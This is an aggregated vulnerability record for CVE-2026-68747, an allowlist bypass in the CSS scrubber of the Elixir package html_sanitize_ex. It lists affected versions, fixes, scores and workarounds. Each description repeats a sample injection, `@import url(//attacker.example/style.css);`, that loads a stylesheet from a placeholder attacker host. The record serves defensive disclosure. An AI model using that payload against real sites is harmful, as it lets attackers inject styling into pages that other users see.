{"id":"CVE-2026-68747","aliases":["EEF-CVE-2026-68747","EUVD-2026-54083","GHSA-87v2-pfhj-r5x7","GHSA-g72r-5wgp-6532"],"status":"published","title":"CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input","description":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the \u003cstyle\u003e element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.","severity":{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00448,"percentile":0.39416,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-74"],"published":"2026-08-06T14:50:03Z","modified":"2026-10-28T02:30:39Z","fixes":[{"ecosystem":"Hex","package":"html_sanitize_ex","fixed_in":["1.4.5","1.5.4"],"sources":["osv"]}],"affected":[{"source":"osv","ecosystem":"Hex","package":"html_sanitize_ex","ranges":[{"type":"SEMVER","events":[{"introduced":"0.3.1"},{"fixed":"1.4.5"}]},{"type":"SEMVER","events":[{"introduced":"1.5.0-rc.0"},{"fixed":"1.5.4"}]}],"versions":["0.3.1","1.0.0","1.0.1","1.1.0","1.1.0-rc1","1.1.1","1.2.0","1.3.0","1.3.0-rc1","1.3.0-rc2","1.3.0-rc3","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.4-rc.0","1.5.0","1.5.0-rc.0","1.5.1","1.5.2","1.5.3"]}],"products":[{"vendor":"rrrene","product":"html_sanitize_ex"},{"vendor":"rrrene","product":"htmlsanitizeex"}],"references":[{"url":"https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7","tags":["vendor-advisory","related","Broken Link","advisory"]},{"url":"https://cna.erlef.org/cves/CVE-2026-68747.html","tags":["related","Patch","Third Party Advisory","web"]},{"url":"https://osv.dev/vulnerability/EEF-CVE-2026-68747","tags":["related","Patch","Third Party Advisory","web"]},{"url":"https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308","tags":["patch","Patch","fix"]},{"url":"https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28","tags":["patch","fix"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68747","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-g72r-5wgp-6532"},{"url":"https://github.com","tags":["web"]},{"url":"https://repo.hex.pm","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/68xxx/CVE-2026-68747.json","tags":["advisory"]},{"url":"https://github.com/rrrene/html_sanitize_ex","tags":["package"]},{"url":"https://hex.pm/packages/html_sanitize_ex","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-68747","title":"CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input","description":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the \u003cstyle\u003e element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.","status":"published","published":"2026-08-06T14:50:03.143Z","modified":"2026-08-19T11:50:10.843Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"low","assessor":"cna"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T13:46:10.323375Z"}],"euvd":[{"id":"EUVD-2026-54083","description":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the \u003cstyle\u003e element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.","status":"published","published":"2026-08-06T14:50:03Z","modified":"2026-08-19T11:50:10Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"low"}],"updated_at":"2026-11-02T18:01:45.709762Z"}],"ghsa":[{"id":"GHSA-g72r-5wgp-6532","title":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'...","description":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the \u003cstyle\u003e element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.","status":"published","published":"2026-08-06T18:30:50Z","modified":"2026-08-19T12:32:22Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T15:10:38.677871Z"}],"nvd":[{"id":"CVE-2026-68747","description":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the \u003cstyle\u003e element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.","status":"published","published":"2026-08-06T16:16:51.533Z","modified":"2026-10-24T16:10:00.153Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T14:12:35.386166Z"}],"osv":[{"id":"CVE-2026-68747","title":"CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input","description":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the \u003cstyle\u003e element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.","status":"published","published":"2026-08-06T14:50:03.143Z","modified":"2026-10-28T02:30:39.449435436Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"low"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T15:45:14.808935Z"},{"id":"EEF-CVE-2026-68747","title":"CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input","description":"## Summary\n\nImproper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. `HtmlSanitizeEx.Scrubber.CSS.scrub/1` applies its property and value allowlist through a `Regex.replace` over substrings matching a `property: value` declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. `@import url(//attacker.example/style.css);` survives, while the same URL inside a `background: url(...)` declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the `\u003cstyle\u003e` element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.\n\n## Workarounds\n\nSanitize with `basic_html/1`, `markdown_html/1` or `strip_tags/1`, none of which allow `\u003cstyle\u003e` elements, or define a custom scrubber that omits it.\n\nA Content-Security-Policy `style-src` directive that permits no external stylesheet origins stops an injected `@import` from loading, though injected inline rules still apply.\n\n## Configurations\n\nOnly `HtmlSanitizeEx.html5/1`, and custom scrubbers declared with `use HtmlSanitizeEx, extend: :html5`, permit `\u003cstyle\u003e` elements, and the sanitized output must be rendered to other users. Applications calling `HtmlSanitizeEx.Scrubber.CSS.scrub/1` directly are also affected.","status":"published","published":"2026-08-06T14:50:03.143Z","modified":"2026-09-08T16:15:02.414920782Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"low"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T15:46:33.520522Z"}]}}
